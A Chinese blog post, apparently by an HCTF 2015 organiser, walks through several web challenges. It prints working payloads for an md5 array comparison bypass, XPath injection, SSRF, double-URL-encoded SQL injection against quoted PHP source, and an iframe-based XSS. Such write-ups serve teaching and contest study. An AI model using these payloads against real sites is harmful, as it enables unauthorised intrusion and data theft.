首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >hctf2015的一点儿记录

hctf2015的一点儿记录

作者头像
LoRexxar
发布2023-02-20 14:43:50
发布2023-02-20 14:43:50
21300
代码可运行
举报
文章被收录于专栏:LoRexxar's BlogLoRexxar's Blog
运行总次数:0
代码可运行

上周参与举办HCTF忙了大概50个小时,累的够呛,不过还是学到了很多东西,从一个全新的方式接触了赛棍们日站做题的思路,现在终于有机会闲下来记录一些东西。

writeup

全部题目的writeup都在这里了 https://github.com/hduisa/hctf2015-all-problems

404

虽然题目严格来说不能算是我出的,不过基础题,也是无所谓了,其实随便做做就get flag了 其实有100种方式可以做出来。F12可以,curl -I可以,抓包也可以。

代码语言:javascript
代码运行次数:0
运行
复制
➜ ~ curl ‐I http://133.130.108.39:12340/3d9d48dc016f0417558ff26d82ec13cc/webI.php
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Sun, 06 Dec 2015 15:37:43 GMT
Content‐Type: text/html; charset=UTF‐8
Connection: keep‐alive
X‐Powered‐By: PHP/5.6.15
flag: hctf{w3lcome_t0_hc7f_f4f4f4}
location: ./webl.php

然而你们非要说我这是脑洞题。。。我只能Orz

fuck===

忘记最早是那里见到的了,现在能找到的就是这篇文章。 http://www.secbox.cn/hacker/1889.html

payload:

代码语言:javascript
代码运行次数:0
运行
复制
?a[]=adsa&b[]=dsadsa

大部分人想到的都是之前比赛常见的md5,类似于0exxx==0exxx这样的,但是如果是===的话,这样是不成立的,所以这里利用的是md5不能加密数组,所以就会返回Null,而Null===Null,get flag.

injection

说实话最开始出题的时候和朋友商量了好久,才找到一个既不脑洞又非常合适难度的题目,后来选择了xpath注入,结果没想到这道题在给了hint的情况的还坚持了非常久才被一血。 出题思路来源于这篇文章: http://blog.csdn.net/yefan2222/article/details/7227932

payload:

代码语言:javascript
代码运行次数:0
运行
复制
user']|//*|['

上面的payload的类似于sqli的 1' or '1'='1

personal blog

这道题目其实是最有意思的,应该放在misc下的,但是既然没有分类,所以就这样吧

其实本意是找博客的特点,所以写了两条提示,一条是flag在页面的源码中,另一个是一个登陆框,这个登陆框既是坑,也是提示,仔细找找就能找到那个登陆框是个假的,只要点击按钮就会弹窗提示密码错误。说明这个博客其实是没有后台的,然后去搜索静态博客,就能知道这样的博客必须搭在github上面了,去搜索id就可以了。

但是后来发现其实还有很多方式可以做,如果去抓包的话,可以发现一个github的Server: GitHub.com 所以去搜就好了,甚至做成社工题目,直接去搜,虽然可能搜到我真正的博客,但是还是能搜到。

博客源码都在github上面,就不放在这里了,博客其实是hexo,然而静态博客一般都要放在github-Pages上面。(我真正的博客是放在gitcafe上面的,这样国内访问就快很多)

从这里后面的题目就不是我出的了,所以我跟着学长和各个大牛学习了很多

hack my net (ssrf)

打开题目看到的是一个css的源码,看下url就能发现应该是要ssrf了。 稍微测试下发现前面必须是nohackair.net:80,这里果断用@ 然后发现看什么都是白页,估计是必须要css,尝试#截断,可以没用。 后来可以发现应该是通过构造content-type来绕过,于是服务器构造:

get flag!

confused question

题目源码:

代码语言:javascript
代码运行次数:0
运行
复制
<?php
session_start();
require(&#39;./db/db.php&#39;);
function addslashesForEvery($array){
	if(!is_array($array)){return addslashes($array);}
	foreach($array as $key => $val){
		$array[$key] = addslashes($val);
	}
	return $array;
}
$loginStr = $_GET[&#39;loginstr&#39;];
if(!isset($_SESSION[&#39;admin&#39;])){$loginStr = str_ireplace(&#39;admin&#39;,&#39;guest&#39;,$loginStr);}//前台不是admin
parse_str($loginStr,$loginStr);
foreach($loginStr as $n => $v){
	$v = addslashesForEvery($v);
	if($n === &#39;admin&#39;){
		$username = $v[&#39;username&#39;];
		$password = addslashesForEvery($_POST[&#39;password&#39;]);
		$sql = "select * from admin where username = &#39;$username&#39; and password = &#39;$password&#39;";
		$result = $DB->query($sql);
		if($result){$_SESSION[&#39;adminlogin&#39;] = 1; echo "hctf{xxxxxxxx}";}
		break;
	}
	if($n === &#39;guest&#39;){
		echo "Hello Guest!But you cannot log in!";
		break;
	}
	echo "null";
	break;
}

?>

首先是str_ireplace的绕过,这里可以构造数组,但是过不了addlashesForEvery,

其实发现parse_str不仅仅可以把查询字符串解析到变量中,而且在parse_str解析之前,还要进行一次addslashed()转换,所以这里可以用url二次编码绕过

后面可以用/'会被addlashedForEvery分割出/,所以成功执行.

有效payload:

loginstr=%2561%2564%256d%2569%256e=%27

hctf{CONFUSED_ABOUT_CODES_BUT_YOU}

COMA WHITE

基本上是js的混淆,源码是这样的:

代码语言:javascript
代码运行次数:0
运行
复制
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('$.q("j",8(e,a){3 5=a.5;3 d=[1,2,1,1,1,2,1,1,2,1,2,2,2,1,2,1,2,1,1,2,1,2];3 4=[];3 9=0;$.h(d,8(f,7){3 n=5.w(9,9+7);9+=7;4.m(n)});$.i("r",{4:4})});$.q("r",8(e,a){3 4=a.4;3 c=[];$.h(4,8(f,7){3 6=v(7);6=y(6);6=x(6);c.m(6)});3 l=c.K();L(I(l)===J){g("s t b k o p, b M P N O H.")}B{g("s t b k o C p.")}});$("#z").A(\'F\',8(u){u.G();3 5=D.5.E;$.i("j",{5:5})});',52,52,'|||var|davidFincher|flag|bpPart|val|function|nortonPointer|data|YOU|bradPitt|edwardNorton||index|showAlertBox|each|publish|step_0|GIVEN|MarilynManson|push|dfPart|IS|CORRECT|subscribe|step_1|THE|FLAG|event|FFBA94F946CC5B3B3879FBEC8C8560AC|slice|E3AA318831FEAD07BA1FB034128C7D76|AD9539C3B4B28AABF6F6AF8CB85AEB53|blood|on|else|NOT|this|value|submit|preventDefault|IT|BF5B983FF029B3BE9B060FD0E080C41A|coveredFlag|join|if|ARE|TO|SUBMIT|SUPPOSED'.split('|'),0,{})

稍微美化一下

代码语言:javascript
代码运行次数:0
运行
复制
$.subscribe("step_0", 
function(e, data) {
    var flag = data.flag;
    var edwardNorton = [1, 2, 1, 1, 1, 2, 1, 1, 2, 1, 2, 2, 2, 1, 2, 1, 2, 1, 1, 2, 1, 2];
    var davidFincher = [];
    var nortonPointer = 0;
    $.each(edwardNorton, 
    function(index, val) {
        var dfPart = flag.slice(nortonPointer, nortonPointer + val);
        nortonPointer += val;
        davidFincher.push(dfPart)
    });
    $.publish("step_1", {
        davidFincher: davidFincher
    })
});
$.subscribe("step_1", 
function(e, data) {
    var davidFincher = data.davidFincher;
    var bradPitt = [];
    $.each(davidFincher, 
    function(index, val) {
        var bpPart = FFBA94F946CC5B3B3879FBEC8C8560AC(val);
        bpPart = AD9539C3B4B28AABF6F6AF8CB85AEB53(bpPart);
        bpPart = E3AA318831FEAD07BA1FB034128C7D76(bpPart);
        bradPitt.push(bpPart)
    });
    var MarilynManson = bradPitt.join();
    if (BF5B983FF029B3BE9B060FD0E080C41A(MarilynManson) === coveredFlag) {
        showAlertBox("THE FLAG YOU GIVEN IS CORRECT, YOU ARE SUPPOSED TO SUBMIT IT.")
    } else {
        showAlertBox("THE FLAG YOU GIVEN IS NOT CORRECT.")
    }
});
$("#blood").on('submit', 
function(event) {
    event.preventDefault();
    var flag = this.flag.value;
    $.publish("step_0", {
        flag: flag
    })
});

然后开始分析下面的一大堆东西, 第一个函数:

代码语言:javascript
代码运行次数:0
运行
复制
| function FFBA94F946CC5B3B3879FBEC8C8560AC(a) { |
 var b, c2, c3; |
 var c = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; |
 var i = 0, |
 len = a.length, |
 string = ''; |
 while (i < len) { |
 b = a.charCodeAt(i++) & 0xff; |
 if (i == len) { |
 string += c.charAt(b >> 2); |
 string += c.charAt((b & 0x3) << 4); |
 string += "=="; |
 break |
 } |
 c2 = a.charCodeAt(i++); |
 if (i == len) { |
 string += c.charAt(b >> 2); |
 string += c.charAt(((b & 0x3) << 4) | ((c2 & 0xF0) >> 4)); |
 string += c.charAt((c2 & 0xF) << 2); |
 string += "="; |
 break |
 } |
 c3 = a.charCodeAt(i++); |
 string += c.charAt(b >> 2); |
 string += c.charAt(((b & 0x3) << 4) | ((c2 & 0xF0) >> 4)); |
 string += c.charAt(((c2 & 0xF) << 2) | ((c3 & 0xC0) >> 6)); |
 string += c.charAt(c3 & 0x3F) |
 } |

不知道为啥,反正大神们一眼就可以看出来第一个是base64编码

代码语言:javascript
代码运行次数:0
运行
复制
| var E3AA318831FEAD07BA1FB034128C7D76 = function (string) { |
 function RotateLeft(lValue, iShiftBits) { |
 return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits)); |
 } |
 function AddUnsigned(lX,lY) { |
 var lX4,lY4,lX8,lY8,lResult; |
 lX8 = (lX & 0x80000000); |
 lY8 = (lY & 0x80000000); |
 lX4 = (lX & 0x40000000); |
 lY4 = (lY & 0x40000000); |
 lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF); |
 if (lX4 & lY4) { |
 return (lResult ^ 0x80000000 ^ lX8 ^ lY8); |
 } |
 if (lX4 | lY4) { |
 if (lResult & 0x40000000) { |
 return (lResult ^ 0xC0000000 ^ lX8 ^ lY8); |
 } else { |
 return (lResult ^ 0x40000000 ^ lX8 ^ lY8); |
 } |
 } else { |
 return (lResult ^ lX8 ^ lY8); |
 } |
 } |

听说这个是一大堆玄学,看着就像md5,真可怕…

代码语言:javascript
代码运行次数:0
运行
复制
var AD9539C3B4B28AABF6F6AF8CB85AEB53 = function(str){
    return str.replace(/\=/g,"")
  }

挺明白了,去等号。后面一个懒得贴了,是去逗号。 剩下的其实很简单了,把result里面的数据,分成22组,解md5得到不同长度的字符串,根据base64的特性,用=号补齐四位,然后解码得到flag flag: A06370EA15AC7B2F3C900D2F696C2FB0

ease xss

这道题目其实让我学到很多东西,真正感觉到xss有很多种不一样的姿势。

代码语言:javascript
代码运行次数:0
运行
复制
<script  src="百度jquery"></script>
<script>
var msg =  '输出点1';
var id='输出点2';
(function(){
try{
$.get('http://xxx.xxx.xxx.xxx/xxx'+id.toString());
}catch(err){
document.write(msg);
}
var debug='输出点3';
})();
</script>

初步试了试其实挺坑的,msg这里把单引号转为双引号,其他什么都不过滤。id输入强制所有输入为int型,也没有什么办法,无法闭合’。debug是有限的,只能放下12长度的字符串,勉强可以alert(),但是没有用,因为题目需要弹cookie出来。

但是xss的方式总是神奇的,包括比赛中也出现了很多次非预期的情况,所以有3种做法。1、出题人的思路,把debug改为‘’;var id=’’;,这样var id得到提升,id为undifined,所以tostring就会报错,导致msg执行。2、超长referer导致百度jquery报错,这样会导致jquery加载错误,于是于是$.get就会出错,引发catch(err)。

3、通过url增加参数&fuck=<script src="百度jquery"></script>chrome会自动匹配输入点和输出点,然后在渲染时候杀掉html里的jquery加载代码,也成功导致无法加载jquery,同样的引发了catch(err)

4、神奇的本地iframe,

<iframe src="http://120.26.224.102:54250/0e7d4f3f7e0b6c0f4f6d1cd424732ec5/?

errmsg=a&t=1&debug=%27;$(name)//" name="<img src=x onerror=alert(document.demain);>"></iframe>

本地构造这样的东西居然返回服务器的地址,可怕…

基本上web题目也就到这样了,剩下的也不是我有能力解决的,Have fun

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2015/12/19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • writeup
    • 404
    • fuck===
    • injection
    • personal blog
    • hack my net (ssrf)
    • confused question
    • COMA WHITE
    • ease xss
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档